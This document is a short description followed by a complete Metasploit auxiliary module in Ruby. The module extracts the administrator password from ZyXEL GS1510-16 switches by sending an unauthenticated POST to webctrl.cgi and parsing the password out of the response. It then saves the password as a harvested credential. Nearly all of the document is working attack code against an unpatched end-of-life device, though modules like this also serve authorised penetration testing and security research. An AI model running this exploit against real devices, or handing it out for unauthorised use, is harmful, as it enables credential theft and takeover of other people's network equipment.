This Metasploit module exploits a vulnerability in ZyXEL GS1510-16 routers to extract the admin password. Due to a lack of authentication on the webctrl.cgi script, unauthenticated attackers can recover the administrator password for these devices. The vulnerable device has reached end of life for support from the manufacturer, so it is unlikely this problem will be addressed.
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
def initialize
super(
'Name' => 'ZyXEL GS1510-16 Password Extractor',
'Description' => %q{
This module exploits a vulnerability in ZyXEL GS1510-16 routers
to extract the admin password. Due to a lack of authentication on the
webctrl.cgi script, unauthenticated attackers can recover the
administrator password for these devices. The vulnerable device
has reached end of life for support from the manufacturer, so it is
unlikely this problem will be addressed.
},
'References' => [
[ 'URL', 'https://github.com/rapid7/metasploit-framework/pull/2709' ]
],
'Author' => [
'Daniel Manser', # @antsygeek
'Sven Vetsch' # @disenchant_ch
],
'License' => MSF_LICENSE
)
end
def run
print_status("Trying to get 'admin' user password ...")
res = send_request_cgi({
'uri' => '/webctrl.cgi',
'method' => 'POST',
'vars_post' => {
'username' => 'admin',
'password' => Rex::Text.rand_text_alphanumeric(rand(4..7)).to_s,
'action' => 'cgi_login'
}
}, 10)
if (res && res.code == 200)
print_status('Got response from router.')
else
print_error('Unexpected HTTP response code.')
return
end
admin_password = ''
admin_password_matches = res.body.match(/show_user\(1,"admin","(.+)"/)
if !admin_password_matches
print_error('Could not obtain admin password')
return
else
admin_password = admin_password_matches[1]
print_good("Password for user 'admin' is: #{admin_password}")
connection_details = {
module_fullname: fullname,
username: 'admin',
private_data: admin_password,
private_type: :password,
status: Metasploit::Model::Login::Status::UNTRIED,
proof: res.body
}.merge(service_details)
create_credential_and_login(connection_details) # makes service_name more consistent
end
rescue ::Rex::ConnectionError
print_error("#{rhost}:#{rport} - Failed to connect")
return
end
end